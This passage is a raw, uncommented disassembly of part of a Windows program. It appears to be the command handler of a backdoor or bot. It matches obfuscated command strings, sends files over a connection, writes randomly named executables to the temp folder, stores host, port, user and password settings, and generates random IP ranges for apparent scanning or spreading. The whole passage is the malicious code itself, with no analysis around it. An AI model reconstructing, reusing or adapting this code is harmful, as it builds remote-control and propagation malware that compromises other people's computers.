; ---------------------------------------------------------------------------
loc_40FDC7: ; CODE XREF: sub_40A938+5455j
lea eax, [ebp+var_70]
push eax
lea eax, [ebp+var_CF4]
push eax
push [ebp+arg_C]
call dword_4372B0
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_40FE85
push [ebp+arg_C]
call dword_4372D4
mov [ebp+arg_4], ebx
loc_40FDF3: ; CODE XREF: sub_40A938+5547j
push esi
lea eax, [ebp+var_7180]
push edi
push eax
mov [ebp+arg_64], esi
call sub_429690
add esp, 0Ch
cmp [ebp+arg_4], esi
jnb short loc_40FE12
mov eax, [ebp+arg_4]
mov [ebp+arg_64], eax
loc_40FE12: ; CODE XREF: sub_40A938+54D2j
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_68]
call dword_4370AC ; SetFilePointer
lea eax, [ebp+var_48]
push edi
push eax
lea eax, [ebp+var_7180]
push [ebp+arg_64]
push eax
push [ebp+arg_68]
call dword_437084 ; ReadFile
push edi
lea eax, [ebp+var_7180]
push [ebp+arg_64]
push eax
push [ebp+var_4]
call dword_4372CC
mov [ebp+arg_64], eax
push edi
lea eax, [ebp+var_7180]
push esi
push eax
push [ebp+var_4]
call dword_4372D0
mov ecx, [ebp+arg_8]
mov [ebp+arg_4], ebx
add ecx, [ebp+arg_64]
sub [ebp+arg_4], ecx
mov [ebp+arg_8], ecx
cmp [ebp+arg_4], 1
jb short loc_40FE85
cmp [ebp+arg_64], 1
jb short loc_40FE85
cmp eax, 1
jnb loc_40FDF3
loc_40FE85: ; CODE XREF: sub_40A938+54A9j
; sub_40A938+553Cj ...
mov eax, [ebp+arg_8]
cdq
idiv esi
shr ebx, 0Ah
push ebx
push eax
push offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
lea eax, [ebp+var_21B8]
push offset aSConnectionClo ; "%s Connection closed: (%i/%ikB sent)."
push eax
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
push [ebp+arg_68]
call dword_437044 ; CloseHandle
push [ebp+arg_C]
mov esi, dword_4372D4
call esi ; dword_4372D4
push [ebp+var_4]
call esi ; dword_4372D4
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_40FECA: ; CODE XREF: sub_40A938+51ACj
push dword ptr [ebx]
push offset aUfbss0cbo8c__0 ; "uFbSS0Cbo8C."
call edi ; dword_437174
test eax, eax
jnz loc_4100C3
cmp [ebx+4], eax
jz loc_4100B9
cmp [ebx+8], eax
jz loc_4100B9
push 11h
call sub_423756
test eax, eax
pop ecx
mov [ebp+arg_C], eax
jle short loc_40FF40
cmp [ebp+arg_14], 0
mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_40FF28
cmp [ebp+arg_18], 0
jnz short loc_40FF32
push eax
push ebx
push offset aHuudgYqzdz ; "HuuDG/YQZDz/"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40FF28: ; CODE XREF: sub_40A938+55D2j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40FF32: ; CODE XREF: sub_40A938+55D8j
push [ebp+arg_C]
push ebx
loc_40FF36: ; CODE XREF: sub_40A938+5715j
push offset aHuudgYqzdz ; "HuuDG/YQZDz/"
jmp loc_414856
; ---------------------------------------------------------------------------
loc_40FF40: ; CODE XREF: sub_40A938+55C2j
mov eax, [ebp+arg_10]
mov ecx, [ebp+arg_20]
mov [ebp+var_728], eax
mov eax, [ebp+arg_14]
mov [ebp+var_674], eax
mov eax, [ebp+arg_18]
mov [ebp+var_670], eax
mov [ebp+var_678], ecx
test eax, eax
lea eax, [ebp+var_724]
jnz short loc_40FF73
push dword ptr [esi+0Ch]
jmp short loc_40FF75
; ---------------------------------------------------------------------------
loc_40FF73: ; CODE XREF: sub_40A938+5634j
push dword ptr [esi]
loc_40FF75: ; CODE XREF: sub_40A938+5639j
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebx+4]
xor ecx, ecx
mov [ebp+var_6A0], eax
mov eax, [ebx+8]
mov [ebp+var_69C], eax
xor eax, eax
mov [ebp+var_694], eax
cmp [ebx+0Ch], eax
mov edi, offset aHuudgYqzdz ; "HuuDG/YQZDz/"
setnz cl
mov [ebp+var_690], ecx
xor ecx, ecx
cmp [ebx+10h], eax
setnz cl
mov [ebp+var_68C], ecx
push dword ptr [ebx+8]
mov eax, [ebx+4]
push eax
push offset aRy6iq0udbphLlD ; "RY6IQ0UDbPh/LL/Dw.r3B9K/"
push edi
push offset aSSS_ ; "%s %s %s."
push 11h
call sub_4233DE
add esp, 18h
mov [ebp+var_6A4], eax
lea eax, [ebp+arg_0]
lea ecx, [ebp+var_728]
push eax
xor eax, eax
push eax
push ecx
push offset sub_4181F4
push eax
push eax
call dword_43717C ; CreateThread
mov ecx, [ebp+var_6A4]
imul ecx, 2724h
test eax, eax
mov dword_46D70C[ecx], eax
jnz short loc_41005A
cmp [ebp+arg_14], eax
mov ebx, dword_43716C
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_41003B
cmp [ebp+arg_18], eax
jnz short loc_410045
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aHuudgYqzdz ; "HuuDG/YQZDz/"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_41003B: ; CODE XREF: sub_40A938+56E0j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_410045: ; CODE XREF: sub_40A938+56E5j
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
jmp loc_40FF36
; ---------------------------------------------------------------------------
loc_410052: ; CODE XREF: sub_40A938+5729j
push 32h
call dword_43718C ; Sleep
loc_41005A: ; CODE XREF: sub_40A938+56D0j
; DATA XREF: ?9:off_43BCBCo
cmp [ebp+var_66C], 0
jz short loc_410052
xor eax, eax
cmp [ebp+arg_14], eax
jnz short loc_410098
cmp [ebp+arg_18], eax
jnz short loc_4100A2
cmp [ebp+arg_20], eax
jz loc_4148CF
push dword ptr [ebx+8]
mov eax, [ebx+4]
push eax
push offset aRy6iq0udbphLlD ; "RY6IQ0UDbPh/LL/Dw.r3B9K/"
push edi
push offset aSSS_ ; "%s %s %s."
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 1Ch
loc_410098: ; CODE XREF: sub_40A938+5730j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_4100A2: ; CODE XREF: sub_40A938+5735j
push dword ptr [ebx+8]
mov eax, [ebx+4]
push eax
push offset aRy6iq0udbphLlD ; "RY6IQ0UDbPh/LL/Dw.r3B9K/"
push edi
push offset aSSS_ ; "%s %s %s."
jmp loc_4148C2
; ---------------------------------------------------------------------------
loc_4100B9: ; CODE XREF: sub_40A938+55A6j
; sub_40A938+55AFj
mov edi, offset aHuudgYqzdz ; "HuuDG/YQZDz/"
jmp loc_40BE4A
; ---------------------------------------------------------------------------
loc_4100C3: ; CODE XREF: sub_40A938+559Dj
push dword ptr [ebx]
push offset aNoazx1alvg0 ; "NoaZx1Alvg/0"
call edi ; dword_437174
test eax, eax
jnz loc_410352
xor ecx, ecx
cmp [ebx+4], ecx
jnz short loc_4100F6
cmp [ebp+arg_14], ecx
mov edi, offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
jnz loc_40BE74
cmp [ebp+arg_18], ecx
jmp loc_40BE59
; ---------------------------------------------------------------------------
loc_4100F6: ; CODE XREF: sub_40A938+57A1j
mov eax, [ebx+8]
cmp eax, ecx
jz short loc_41010D
push eax
push offset a3c9 ; "]&3c9"
call edi ; dword_437174
test eax, eax
jz loc_4148CF
loc_41010D: ; CODE XREF: sub_40A938+57C3j
push 11h
call sub_423756
test eax, eax
pop ecx
mov [ebp+arg_C], eax
jle short loc_410160
cmp [ebp+arg_14], 0
mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_410148
cmp [ebp+arg_18], 0
jnz short loc_410152
push eax
push ebx
push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_410148: ; CODE XREF: sub_40A938+57F2j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_410152: ; CODE XREF: sub_40A938+57F8j
push [ebp+arg_C]
push ebx
loc_410156: ; CODE XREF: sub_40A938+59A8j
push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
jmp loc_414856
; ---------------------------------------------------------------------------
loc_410160: ; CODE XREF: sub_40A938+57E2j
lea eax, [ebp+var_6D80]
push eax
push 104h
call dword_4370A8 ; GetTempPathA
call sub_429ACC
push 9
pop edi
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
idiv edi
lea eax, [ebp+var_6D80]
push edx
push offset dword_44399C
push eax
lea eax, [ebp+var_5DC4]
push offset aSSDDDDD_exe ; "%s%s%d%d%d%d%d.exe"
push eax
call sub_429A33
mov eax, [ebp+arg_10]
mov ecx, [ebp+arg_20]
mov [ebp+var_664], eax
mov eax, [ebp+arg_14]
mov [ebp+var_5B0], eax
mov eax, [ebp+arg_18]
add esp, 24h
mov [ebp+var_5AC], eax
test eax, eax
mov [ebp+var_5B4], ecx
lea eax, [ebp+var_660]
jnz short loc_4101FD
push dword ptr [esi+0Ch]
jmp short loc_4101FF
; ---------------------------------------------------------------------------
loc_4101FD: ; CODE XREF: sub_40A938+58BEj
push dword ptr [esi]
loc_4101FF: ; CODE XREF: sub_40A938+58C3j
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebx+4]
xor ecx, ecx
mov [ebp+var_5DC], eax
lea eax, [ebp+var_5DC4]
mov [ebp+var_5D8], eax
xor eax, eax
cmp [ebx+0Ch], eax
mov [ebp+var_5D0], 1
mov [ebp+var_5CC], eax
mov [ebp+var_5C8], eax
setnz cl
mov [ebp+var_5C4], ecx
mov eax, [ebx+4]
lea ecx, [ebp+var_5DC4]
mov edi, offset aRy6iq0udbphN2n ; "RY6IQ0UDbPh/N2NHs/pc9zb/8Wb3v063Ds00"
push ecx
push eax
push edi
push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
push offset dword_441040
push 11h
call sub_4233DE
add esp, 18h
mov [ebp+var_5E0], eax
lea eax, [ebp+arg_0]
lea ecx, [ebp+var_664]
push eax
xor eax, eax
push eax
push ecx
push offset sub_4181F4
push eax
push eax
call dword_43717C ; CreateThread
mov ecx, [ebp+var_5E0]
imul ecx, 2724h
test eax, eax
mov dword_46D70C[ecx], eax
jnz short loc_4102ED
cmp [ebp+arg_14], eax
mov ebx, dword_43716C
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_4102CE
cmp [ebp+arg_18], eax
jnz short loc_4102D8
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_4102CE: ; CODE XREF: sub_40A938+5973j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_4102D8: ; CODE XREF: sub_40A938+5978j
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
jmp loc_410156
; ---------------------------------------------------------------------------
loc_4102E5: ; CODE XREF: sub_40A938+59BCj
push 32h
call dword_43718C ; Sleep
loc_4102ED: ; CODE XREF: sub_40A938+5963j
cmp [ebp+var_5A8], 0
jz short loc_4102E5
xor eax, eax
cmp [ebp+arg_14], eax
jnz short loc_41032E
cmp [ebp+arg_18], eax
jnz short loc_410338
cmp [ebp+arg_20], eax
jz loc_4148CF
push [ebp+var_5D8]
mov eax, [ebx+4]
push eax
push edi
push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
push offset dword_441040
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 1Ch
loc_41032E: ; CODE XREF: sub_40A938+59C3j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_410338: ; CODE XREF: sub_40A938+59C8j
push [ebp+var_5D8]
mov ebx, [ebx+4]
push ebx
push edi
push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
push offset dword_441040
jmp loc_4148C2
; ---------------------------------------------------------------------------
loc_410352: ; CODE XREF: sub_40A938+5796j
push dword ptr [ebx]
push offset aUqyil_iyvpi_ ; "uQYiL.iYvpI."
call edi ; dword_437174
test eax, eax
jnz loc_410547
cmp [ebx+4], eax
jz loc_41053D
cmp [ebx+8], eax
jz loc_41053D
mov edi, 200h
push edi
push eax
push offset dword_456580
call sub_429690
push edi
push 0
push offset dword_456788
call sub_429690
push edi
push 0
push offset dword_456988
call sub_429690
push edi
push 0
push offset dword_456B88
call sub_429690
mov edi, dword_4370A4
add esp, 30h
push dword ptr [ebx+4]
push offset dword_456580
call edi ; dword_4370A4
push dword ptr [ebx+8]
call sub_42A030
mov dword_456780, eax
mov eax, [ebx+0Ch]
test eax, eax
pop ecx
jz short loc_4103DD
push eax
push offset dword_456788
call edi ; dword_4370A4
loc_4103DD: ; CODE XREF: sub_40A938+5A9Bj
mov eax, [ebx+10h]
test eax, eax
jz short loc_4103EC
push eax
push offset dword_456988
call edi ; dword_4370A4
loc_4103EC: ; CODE XREF: sub_40A938+5AAAj
mov ebx, [ebx+14h]
test ebx, ebx
jz short loc_4103FB
push ebx
push offset dword_456B88
call edi ; dword_4370A4
loc_4103FB: ; CODE XREF: sub_40A938+5AB9j
cmp [ebp+arg_60], 0
jz loc_4104E9
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
pop ecx
call sub_429ACC
push 1Ah
pop ebx
cdq
mov ecx, ebx
idiv ecx
add edx, 61h
push edx
call sub_429ACC
cdq
mov ecx, ebx
idiv ecx
add edx, 61h
push edx
call sub_429ACC
cdq
mov ecx, ebx
idiv ecx
add edx, 61h
push edx
call sub_429ACC
cdq
mov ecx, ebx
idiv ecx
add edx, 61h
push edx
call sub_429ACC
cdq
mov ecx, ebx
idiv ecx
add edx, 61h
push edx
call sub_429ACC
cdq
idiv ebx
mov ebx, offset dword_4561F8
add edx, 61h
push edx
push offset aCCCCCC ; "%c%c%c%c%c%c"
push ebx
call sub_429A33
add esp, 20h
push ebx
push offset dword_456788
call edi ; dword_4370A4
push ebx
push offset dword_456988
call edi ; dword_4370A4
call sub_429ACC
push 9
pop ebx
cdq
mov ecx, ebx
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, ebx
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, ebx
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, ebx
idiv ecx
push edx
call sub_429ACC
cdq
idiv ebx
lea eax, [ebp+var_61CC]
push edx
push offset dword_44399C
push offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe"
push eax
call sub_429A33
add esp, 20h
lea eax, [ebp+var_61CC]
push eax
push offset dword_456B88
call edi ; dword_4370A4
loc_4104E9: ; CODE XREF: sub_40A938+5AC7j
cmp [ebp+arg_14], 0
mov dword_456D88, 1
mov edi, offset aC4dd9_nojvo1 ; "C4dD9.nojvO1"
mov ebx, offset aSIsSetToSDUSPS ; "%s is set to %s:%d U: %s P: %s F: %s"
jnz short loc_410537
cmp [ebp+arg_18], 0
jnz loc_4105A9
push offset dword_456B88
push offset dword_456988
push offset dword_456788
push dword_456780
push offset dword_456580
push edi
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 24h
loc_410537: ; CODE XREF: sub_40A938+5BC9j
cmp [ebp+arg_18], 0
jmp short loc_4105A3
; ---------------------------------------------------------------------------
loc_41053D: ; CODE XREF: sub_40A938+5A2Ej
; sub_40A938+5A37j
mov edi, offset aC4dd9_nojvo1 ; "C4dD9.nojvO1"
jmp loc_40BE4A
; ---------------------------------------------------------------------------
loc_410547: ; CODE XREF: sub_40A938+5A25j
push dword ptr [ebx]
push offset a4qyyh1q2ps1 ; "4QyYH1q/2ps1"
call edi ; dword_437174
test eax, eax
jnz loc_410608
cmp dword_456D88, eax
mov edi, offset aC4dd9_nojvo1 ; "C4dD9.nojvO1"
jz short loc_4105D7
cmp [ebp+arg_14], eax
mov ebx, offset aSIsSetToSDUSPS ; "%s is set to %s:%d U: %s P: %s F: %s"
jnz short loc_4105A0
cmp [ebp+arg_18], eax
jnz short loc_4105A9
push offset dword_456B88
push offset dword_456988
push offset dword_456788
push dword_456780
push offset dword_456580
push edi
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 24h
xor eax, eax
loc_4105A0: ; CODE XREF: sub_40A938+5C35j
cmp [ebp+arg_18], eax
loc_4105A3: ; CODE XREF: sub_40A938+5C03j
jz loc_412F27
loc_4105A9: ; CODE XREF: sub_40A938+5BCFj
; sub_40A938+5C3Aj
push offset dword_456B88
push offset dword_456988
push offset dword_456788
push dword_456780
push offset dword_456580
push edi
push ebx
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 24h
jmp loc_412F27
; ---------------------------------------------------------------------------
loc_4105D7: ; CODE XREF: sub_40A938+5C2Bj
cmp [ebp+arg_14], eax
mov ebx, offset aSIsOff_ ; "%s is off."
jnz short loc_4105F8
cmp [ebp+arg_18], eax
jnz short loc_410601
push edi
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
xor eax, eax
loc_4105F8: ; CODE XREF: sub_40A938+5CA7j
cmp [ebp+arg_18], eax
loc_4105FB: ; CODE XREF: sub_40A938+5D9Fj
jz loc_412F27
loc_410601: ; CODE XREF: sub_40A938+5CACj
; sub_40A938:loc_4106BDj
push edi
push ebx
jmp loc_40B99A
; ---------------------------------------------------------------------------
loc_410608: ; CODE XREF: sub_40A938+5C1Aj
push dword ptr [ebx]
push offset aZgidu12tiv0 ; "ZGidU12tiV0/"
call edi ; dword_437174
test eax, eax
jnz short loc_41063C
cmp dword_456D88, eax
jz loc_412F27
mov ebx, offset aSIsOn_ ; "%s is on."
loc_410626: ; CODE XREF: sub_40A938+5D22j
cmp [ebp+arg_14], eax
mov edi, offset aC4dd9_nojvo1 ; "C4dD9.nojvO1"
jnz loc_4106D3
cmp [ebp+arg_18], eax
jmp loc_4106BD
; ---------------------------------------------------------------------------
loc_41063C: ; CODE XREF: sub_40A938+5CDBj
push dword ptr [ebx]
push offset aHgcrw_cwuf5_ ; "HGCRW.CWUF5."
call edi ; dword_437174
test eax, eax
jnz short loc_41065C
cmp dword_456D88, eax
jnz loc_412F27
mov ebx, offset aSIsOff_ ; "%s is off."
jmp short loc_410626
; ---------------------------------------------------------------------------
loc_41065C: ; CODE XREF: sub_40A938+5D0Fj
push dword ptr [ebx]
push offset aGztle_nhywf ; "gzTlE.nhywf/"
call edi ; dword_437174
test eax, eax
jnz short loc_4106DC
mov edi, 200h
xor ebx, ebx
push edi
push ebx
push offset dword_456580
mov dword_456D88, ebx
call sub_429690
push edi
push ebx
push offset dword_456788
call sub_429690
push edi
push ebx
push offset dword_456988
call sub_429690
push edi
push ebx
push offset dword_456B88
call sub_429690
add esp, 30h
cmp [ebp+arg_14], 0
mov edi, offset aC4dd9_nojvo1 ; "C4dD9.nojvO1"
mov ebx, offset aSIsOff_ ; "%s is off."
jnz short loc_4106D3
cmp [ebp+arg_18], 0
loc_4106BD: ; CODE XREF: sub_40A938+5CFFj
jnz loc_410601
push edi
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
loc_4106D3: ; CODE XREF: sub_40A938+5CF6j
; sub_40A938+5D7Fj
cmp [ebp+arg_18], 0
jmp loc_4105FB
; ---------------------------------------------------------------------------
loc_4106DC: ; CODE XREF: sub_40A938+5D2Fj
push dword ptr [ebx]
push offset aL80reUvcue1 ; "l80re/UvCUe1"
call edi ; dword_437174
test eax, eax
jnz short loc_410730
cmp [ebp+arg_18], eax
mov ebx, [ebx+4]
jnz short loc_41070B
test ebx, ebx
jz short loc_4106FE
push ebx
call sub_42A030
pop ecx
jmp short loc_410700
; ---------------------------------------------------------------------------
loc_4106FE: ; CODE XREF: sub_40A938+5DBBj
xor eax, eax
loc_410700: ; CODE XREF: sub_40A938+5DC4j
push eax
push [ebp+arg_20]
push 0
push dword ptr [esi+0Ch]
jmp short loc_410723
; ---------------------------------------------------------------------------
loc_41070B: ; CODE XREF: sub_40A938+5DB7j
test ebx, ebx
jz short loc_410718
push ebx
call sub_42A030
pop ecx
jmp short loc_41071A
; ---------------------------------------------------------------------------
loc_410718: ; CODE XREF: sub_40A938+5DD5j
xor eax, eax
loc_41071A: ; CODE XREF: sub_40A938+5DDEj
push eax
push [ebp+arg_20]
push [ebp+arg_18]
push dword ptr [esi]
loc_410723: ; CODE XREF: sub_40A938+5DD1j
push [ebp+arg_10]
call sub_401990
jmp loc_4146D5
; ---------------------------------------------------------------------------
loc_410730: ; CODE XREF: sub_40A938+5DAFj
push dword ptr [ebx]
push offset aTvjro1ubgtg1 ; "TVJrO1uBGtg1"
call edi ; dword_437174
test eax, eax
jnz short loc_41077C
mov ebx, [ebx+4]
test ebx, ebx
jz short loc_41074C
push ebx
call sub_42A030
jmp short loc_410753
; ---------------------------------------------------------------------------
loc_41074C: ; CODE XREF: sub_40A938+5E0Aj
push 8
call sub_423756
loc_410753: ; CODE XREF: sub_40A938+5E12j
test eax, eax
pop ecx
jz loc_4148CF
cmp [ebp+arg_18], 0
push eax
jnz short loc_41076A
push 0
push dword ptr [esi+0Ch]
jmp short loc_41076F
; ---------------------------------------------------------------------------
loc_41076A: ; CODE XREF: sub_40A938+5E29j
push [ebp+arg_18]
push dword ptr [esi]
loc_41076F: ; CODE XREF: sub_40A938+5E30j
push [ebp+arg_10]
call sub_40203B
jmp loc_414688
; ---------------------------------------------------------------------------
loc_41077C: ; CODE XREF: sub_40A938+5E03j
push dword ptr [ebx]
push offset aVxa_uCdd7s0 ; "VXA.u/cDD7S0"
call edi ; dword_437174
test eax, eax
jnz short loc_410795
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push 8
jmp loc_412A63
; ---------------------------------------------------------------------------
loc_410795: ; CODE XREF: sub_40A938+5E4Fj
push dword ptr [ebx]
push offset aH1cmq0wqw5c_ ; "h1cMQ0wQw5C."
call edi ; dword_437174
test eax, eax
jnz loc_410D62
cmp [ebx+4], eax
jz loc_414690
cmp [ebx+8], eax
jz loc_414690
cmp [ebx+0Ch], eax
jz loc_414690
cmp [ebx+10h], eax
jz loc_414690
push 8
call sub_423737
push dword ptr [ebx+8]
mov [ebp+arg_C], eax
call sub_42A030
add eax, [ebp+arg_C]
pop ecx
pop ecx
cmp eax, 1C2h
jg loc_413E17
push dword ptr [ebx+4]
call sub_42A030
movzx eax, ax
mov [ebp+var_244], eax
push dword ptr [ebx+8]
call sub_42A030
mov [ebp+var_22C], eax
push dword ptr [ebx+0Ch]
call sub_42A030
add esp, 0Ch
cmp eax, 1
mov [ebp+var_240], eax
jnb short loc_41082A
xor eax, eax
inc eax
mov [ebp+var_240], eax
loc_41082A: ; CODE XREF: sub_40A938+5EE7j
push 3
pop ecx
cmp eax, ecx
jbe short loc_410837
mov [ebp+var_240], ecx
loc_410837: ; CODE XREF: sub_40A938+5EF7j
push dword ptr [ebx+10h]
call sub_42A030
mov [ebp+var_23C], eax
mov eax, 270Fh
cmp [ebp+var_23C], eax
pop ecx
jbe short loc_410859
mov [ebp+var_23C], eax
loc_410859: ; CODE XREF: sub_40A938+5F19j
mov eax, [ebp+arg_14]
or [ebp+var_228], 0FFFFFFFFh
mov dword_454A28, eax
mov eax, [ebp+arg_20]
mov dword_454A2C, eax
mov eax, [ebp+arg_18]
xor ecx, ecx
mov dword_454A30, eax
cmp dword_43A378, ecx
mov [ebp+arg_C], ecx
jz short loc_4108C9
mov [ebp+arg_4], offset dword_43A378
loc_41088C: ; CODE XREF: sub_40A938+5F71j
mov eax, [ebp+arg_4]
push dword ptr [ebx+4]
add eax, 0FFFFFFD0h
push eax
call edi ; dword_437174
test eax, eax
jz short loc_4108AD
add [ebp+arg_4], 40h
inc [ebp+arg_C]
mov eax, [ebp+arg_4]
cmp dword ptr [eax], 0
jnz short loc_41088C
jmp short loc_4108C7
; ---------------------------------------------------------------------------
loc_4108AD: ; CODE XREF: sub_40A938+5F62j
mov eax, [ebp+arg_C]
mov ecx, eax
mov [ebp+var_228], eax
shl ecx, 6
mov ecx, dword_43A378[ecx]
mov [ebp+var_244], ecx
loc_4108C7: ; CODE XREF: sub_40A938+5F73j
xor ecx, ecx
loc_4108C9: ; CODE XREF: sub_40A938+5F4Bj
cmp [ebp+var_244], ecx
jnz short loc_410902
cmp [ebp+arg_14], ecx
mov edi, offset aSInvalidPort ; "%s Invalid port"
jnz short loc_4108FA
cmp [ebp+arg_18], ecx
jnz loc_414678
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
xor ecx, ecx
loc_4108FA: ; CODE XREF: sub_40A938+5FA1j
cmp [ebp+arg_18], ecx
jmp loc_414672
; ---------------------------------------------------------------------------
loc_410902: ; CODE XREF: sub_40A938+5F97j
mov eax, [ebx+14h]
cmp eax, ecx
jz loc_410990
push eax
push offset aX_x_x_x ; "x.x.x.x"
call edi ; dword_437174
test eax, eax
jnz short loc_410961
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
pop ecx
loc_410926: ; CODE XREF: sub_40A938+6001j
call sub_429ACC
cdq
mov ecx, 0DCh
idiv ecx
add edx, 4
cmp edx, 7Fh
jz short loc_410926
push edx
push offset aD_x_x_x ; "%d.x.x.x"
lea eax, [ebp+var_2D4]
push 10h
push eax
call sub_429AEE
add esp, 10h
loc_410952: ; CODE XREF: sub_40A938+6216j
; sub_40A938+621Ej ...
mov [ebp+var_218], 1
jmp loc_410B83
; ---------------------------------------------------------------------------
loc_410961: ; CODE XREF: sub_40A938+5FDFj
push dword ptr [ebx+14h]
lea eax, [ebp+var_2D4]
push 10h
push eax
call sub_429AEE
push 78h
push dword ptr [ebx+14h]
call sub_42B0D0
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_218], eax
jmp loc_410B83
; ---------------------------------------------------------------------------
loc_410990: ; CODE XREF: sub_40A938+5FCFj
cmp [ebp+arg_64], ecx
jnz short loc_4109EB
cmp [ebp+arg_54], ecx
jnz loc_410ABC
cmp [ebp+arg_58], ecx
jnz loc_410ABC
cmp [ebp+arg_5C], ecx
jnz loc_410ABC
cmp [ebp+arg_60], ecx
jnz loc_410ABC
cmp [ebp+arg_14], ecx
mov ebx, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
mov edi, offset aSNoIpSpecified ; "%s No IP specified."
jnz short loc_4109E3
cmp [ebp+arg_18], ecx
jnz loc_40B5A0
push ebx
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
xor ecx, ecx
loc_4109E3: ; CODE XREF: sub_40A938+608Ej
cmp [ebp+arg_18], ecx
jmp loc_40B59A
; ---------------------------------------------------------------------------
loc_4109EB: ; CODE XREF: sub_40A938+605Bj
cmp [ebp+arg_54], ecx
jz short loc_4109F9
mov [ebp+arg_C], 1
jmp short loc_410A13
; ---------------------------------------------------------------------------
loc_4109F9: ; CODE XREF: sub_40A938+60B6j
cmp [ebp+arg_58], ecx
jz short loc_410A07
mov [ebp+arg_C], 2
jmp short loc_410A13
; ---------------------------------------------------------------------------
loc_410A07: ; CODE XREF: sub_40A938+60C4j
cmp [ebp+arg_5C], ecx
jz short loc_410A8A
mov [ebp+arg_C], 3
loc_410A13: ; CODE XREF: sub_40A938+60BFj
; sub_40A938+60CDj
mov ebx, offset dword_457C20
push offset byte_454A34
push ebx
call edi ; dword_437174
test eax, eax
jz short loc_410A2F
push ebx
call sub_41E3FB
test eax, eax
pop ecx
jz short loc_410A55
loc_410A2F: ; CODE XREF: sub_40A938+60EAj
mov ecx, [ebp+arg_10]
call sub_41DA92
mov ecx, [ebp+arg_10]
push eax
call sub_41CE5F
mov edi, eax
push 2710h
push edi
call dword_43707C ; WaitForSingleObject
push edi
call dword_437044 ; CloseHandle
loc_410A55: ; CODE XREF: sub_40A938+60F5j
push [ebp+arg_C]
mov edi, [ebp+arg_60]
push edi
push ebx
call sub_401F44
add esp, 0Ch
test eax, eax
jz loc_4148CF
push 10h
push eax
lea eax, [ebp+var_2D4]
push eax
call sub_429C40
add esp, 0Ch
mov [ebp+var_218], edi
jmp loc_410B83
; ---------------------------------------------------------------------------
loc_410A8A: ; CODE XREF: sub_40A938+60D2j
mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
